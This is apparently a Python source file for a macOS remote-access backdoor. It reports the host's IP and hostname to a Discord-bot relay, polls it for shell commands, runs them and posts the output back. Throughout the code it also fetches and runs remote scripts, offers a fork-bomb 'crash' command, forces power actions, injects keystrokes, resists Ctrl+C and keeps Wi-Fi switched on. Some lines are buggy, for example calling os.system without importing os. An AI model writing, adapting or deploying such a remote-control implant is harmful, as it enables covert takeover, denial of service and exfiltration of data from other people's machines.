1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
|
try:
from os import system as ossystem
from requests import get, post
from time import sleep
from subprocess import Popen as system
from subprocess import PIPE
from os import chdir, uname
from sys import platform
old_command = ""
command = ""
loop = 0
ip = get('https://api.ipify.org').content.decode('utf8')
hostname = uname()[1]
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"New client IP: `{ip}@{hostname}`")
except KeyboardInterrupt:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``Client tried to SIGINT(Ctrl+C) when init``")
pass
except KeyboardInterrupt:
pass
pass
while True:
# prevent keyboardinterrupt
try:
ossystem("/usr/sbin/networksetup -setairportpower en0 on")
except:
continue
try:
#get HTML
try:
command = get("https://discord-bot-command-inputter-littleblack111.vercel.app").content.decode()
if command.startswith('Error: 429 - {"message": "You are being rate limited.", "retry_after":'):
try:
sleep(5)
continue
except KeyboardInterrupt:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when waiting discord api timeout(rate-limit)``")
except KeyboardInterrupt:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when handling discord api``")
except KeyboardInterrupt:
ossystem("/usr/sbin/networksetup -setairportpower en0 on")
continue
continue
except:
ossystem("/usr/sbin/networksetup -setairportpower en0 on")
sleep(3)
continue
# execute command
localcmd = None
if old_command != command:
try:
if command == "":
old_command = ""
if loop == 1:
loop = 0
pass
else:
loop = 1
continue
if command.startswith("exename "):
localcmd = command.split()
if localcmd[1] == hostname:
del localcmd[:2]
localcmd = ' '.join(localcmd)
else:
old_command = command
continue
if command.startswith("exeos "):
localcmd = command.split()
if localcmd[1] == platform:
del localcmd[:2]
localcmd = ' '.join(localcmd)
else:
old_command = command
continue
if command.startswith("crash"):
from os import fork
command = command.split()
if command[1<len(command)]:
for _ in range(command[1]):
fork()
else:
while 1:
fork()
elif command.startswith('volume'):
localcmd = command.split()
if localcmd[1<len(localcmd)]:
try:
volumesize = int(localcmd[1])
if ossystem(f"osascript -e 'set Volume {volumesize/10}'") == 0:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }: ``Volume set to {volumesize}``")
old_command = command
except KeyboardInterrupt:
continue
continue
else:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }: ``Volume set ran unsuccesfully``")
except KeyboardInterrupt:
continue
continue
except ValueError:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }: ``Please enter a volume size``")
except KeyboardInterrupt:
continue
continue
except KeyboardInterrupt:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) while sending error of { ' '.join(str(e) for e in localcmd) }``")
except KeyboardInterrupt:
continue
continue
elif command.startswith('syspower'):
localcmd = command.split()
if localcmd[1<len(localcmd)]:
try:
if localcmd[1] == 'shutdown' or localcmd[1] == 'poweroff':
if ossystem('osascript -e \'tell app "Finder" to shut down\'') == 0:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```computer shutting down, bye...```")
old_command = command
except:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to shutdown```")
except KeyboardInterrupt:
continue
continue
else:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start shutting down```")
except KeyboardInterrupt:
continue
continue
elif localcmd[1] == 'restart' or localcmd[1] == 'reboot':
if ossystem('osascript -e \'tell app "Finder" to restart\'') == 0:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```computer rebooting, cya...```")
old_command = command
except:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start rebooting```")
except KeyboardInterrupt:
continue
continue
else:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start rebooting```")
except KeyboardInterrupt:
continue
continue
elif localcmd[1] == 'sleep' or localcmd[1] == 'suspend' or localcmd[1] == 'pause':
if ossystem('osascript -e \'tell app "Finder" to sleep\'') == 0:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```computer going to sleep, cya...```")
old_command = command
except:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start sleeping```")
except KeyboardInterrupt:
continue
continue
else:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start sleeping```")
except KeyboardInterrupt:
continue
continue
elif localcmd[1] == 'lock' or localcmd[1] == 'lockscreen':
if ossystem('osascript -e \'tell application "System Events" to keystroke "q" using {command down, control down}\'') == 0:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```computer going to lockscreen, cya...```")
old_command = command
except:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start lockingscreen```")
except KeyboardInterrupt:
continue
continue
else:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to start lockingscreen```")
except KeyboardInterrupt:
continue
continue
except:
continue
elif command.startswith('interact'):
localcmd = command.split()
if localcmd[1<len(localcmd)]:
try:
if localcmd[1] == 'dialog' or localcmd[1] == 'popup' or localcmd[1] == 'dropmenu':
if localcmd[2<len(localcmd)]:
if ossystem(f'osascript -e \'display dialog "{localcmd[2]}" buttons "Yes"\'') == 0:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Successfully the dialog```")
old_command = command
except KeyboardInterrupt:
continue
continue
else:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to send dialog```")
except KeyboardInterrupt:
continue
continue
else:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```You need to pass another argument for infomation in the dialog```")
old_command = command
except KeyboardInterrupt:
continue
continue
elif localcmd[1] == 'askdialog' or localcmd[1] == 'asklog' or localcmd == 'question':
if localcmd[2<len(localcmd)]:
r = system(f'osascript -e \'display dialog "{localcmd[2]}" default answer ""\' -e \'text returned of result\' -e \'\'', shell=True, stdout=PIPE, stderr=PIPE)
cmdout, cmderr = r.communicate()
if r.wait() == 0:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```{cmdout.decode()}```")
old_command = command
except:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to ask with dialog```")
except KeyboardInterrupt:
continue
continue
else:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```{cmderr.decode()}```")
except:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to ask with dialog```")
except KeyboardInterrupt:
continue
continue
else:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Please do question argument```")
except KeyboardInterrupt:
continue
continue
elif localcmd[1] == 'notify' or localcmd[1] == 'notification':
if localcmd[4>len(localcmd)]:
if ossystem(f"osascript -e 'display notification \"{localcmd[2]}\" with title \"{localcmd[3]}\" subtitle \"{localcmd[4]}\"'") == 0:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Notified successfully```")
old_command = command
except:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to notify```")
continue
continue
else:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to notify```")
except KeyboardInterrupt:
continue
continue
else:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```You need to pass three argument in the order of \`content\` \`title\` \`subtitle\`")
old_command = command
continue
elif localcmd[1] == 'keyboard' or localcmd[1] == 'type':
if localcmd[3<len(localcmd)]:
if localcmd[2] == 'type':
if os.system(f"osascript -e 'tell application \"System Events\" to keystroke \"{ ' '.join(str(e) for e in localcmd[3:]) }\"\'") == 0:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Successfully typed {' '.join(str(e) for e in localcmd[3:])} with keyboard```")
old_command = command
except:
continue
continue
else:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to do typing```")
except:
continue
continue
elif localcmd[2] == 'press':
if os.system(f"osascript -e 'tell application \"System Events\" to keystroke { ' '.join(str(e) for e in localcmd[3:]) }\'") == 0:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Successfully pressed {' '.join(str(e) for e in localcmd[3:])} with keyboard```")
old_command = command
except:
continue
continue
else:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to do pressing```")
except:
continue
continue
elif localcmd[1] == 'quit' or localcmd[1] == 'close':
if localcmd[2<len(localcmd)]:
if ossystem(f'osascript -e \'tell app "{localcmd[2]}" to quit\'') == 0:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Successfully quitted {localcmd[2]}```")
old_command = command
except:
continue
continue
else:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to do quitting```")
except:
continue
continue
continue
except:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed at doing interactive actions```")
except KeyboardInterrupt:
continue
continue
elif command.startswith('usetool'):
localcmd = command.split()
if localcmd[1<len(localcmd)]:
try:
exescript = get(f"https://github.com/littleblack111/remote-control-tools/raw/main/{localcmd[1]}").content.decode()
if localcmd[1].endswith(".sh"):
r = system(exescript, shell=True, stdout=PIPE, stderr=PIPE)
cmdout, cmderr = r.communicate()
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```{cmdout.decode()}```")
except:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Failed to sent output of usetool```")
except KeyboardInterrupt:
continue
continue
except KeyboardInterrupt:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) while changing directory``")
except KeyboardInterrupt:
continue
continue
except Exception as e:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Failed to get script{e}``")
except KeyboardInterrupt:
continue
continue
old_command = command
continue
# try:
# post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: Pong!")
# except KeyboardInterrupt:
# post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when replying to ping``")
# except:
ossystem("/usr/sbin/networksetup -setairportpower en0 on")
# continue
if command.startswith("cd"):
dir=command.replace('cd', '')
try:
chdir(dir)
except KeyboardInterrupt:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) while changing directory``")
except KeyboardInterrupt:
continue
continue
except FileNotFoundError:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``$ {command}`` ```No Such Directory```-{ip}@{hostname}")
except:
ossystem("/usr/sbin/networksetup -setairportpower en0 on")
continue
old_command = command
if localcmd:
r = system(localcmd, shell=True, stdout=PIPE, stderr=PIPE)
cmdout, cmderr = r.communicate()
else:
r = system(command, shell=True, stdout=PIPE, stderr=PIPE)
cmdout, cmderr = r.communicate()
try:
if r.returncode != 0:
if r.returncode == 127:
if localcmd:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Error: { ' '.join(str(e) for e in localcmd) }: Command not found```")
else:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {command}`` ```Error: {command}: Command not found```")
else:
if localcmd:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```Error: {cmderr.decode()} exited with code {r.returncode}```- {ip}@{hostname}")
else:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {command}`` ```Error: {cmderr.decode()} exited with code {r.returncode}```- {ip}@{hostname}")
elif r.returncode != 0 and cmdout.decode() == "":
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {command}`` ```Error: exited with no output and code {r.returncode}```- {ip}@{hostname}")
except KeyboardInterrupt:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when trying to post (error)output``")
except KeyboardInterrupt:
continue
continue
except:
ossystem("/usr/sbin/networksetup -setairportpower en0 on")
continue
if cmdout.decode() != "" and cmderr.decode() == "":
try:
if localcmd:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ { ' '.join(str(e) for e in localcmd) }`` ```{cmdout.decode()}```")
else:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``{hostname}@{ip}$ {command}`` ```{cmdout.decode()}```")
except KeyboardInterrupt:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``")
except KeyboardInterrupt:
continue
continue
except:
ossystem("/usr/sbin/networksetup -setairportpower en0 on")
continue
elif cmdout.decode() == "" and cmderr.decode() == "":
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"``$ {command}`` ```Command Executed successfully without output```- {ip}@{hostname}")
except KeyboardInterrupt:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``")
except KeyboardInterrupt:
continue
continue
except:
ossystem("/usr/sbin/networksetup -setairportpower en0 on")
continue
old_command = command
continue
except:
continue
try:
sleep(0.1)
except KeyboardInterrupt:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C)``")
except KeyboardInterrupt:
continue
continue
except KeyboardInterrupt:
try:
post("https://discord-bot-command-outputter-littleblack111.vercel.app", data=f"{ip}@{hostname}: ``Client tried to SIGINT(Ctrl+C)``")
except KeyboardInterrupt:
continue
continue
except:
continue
|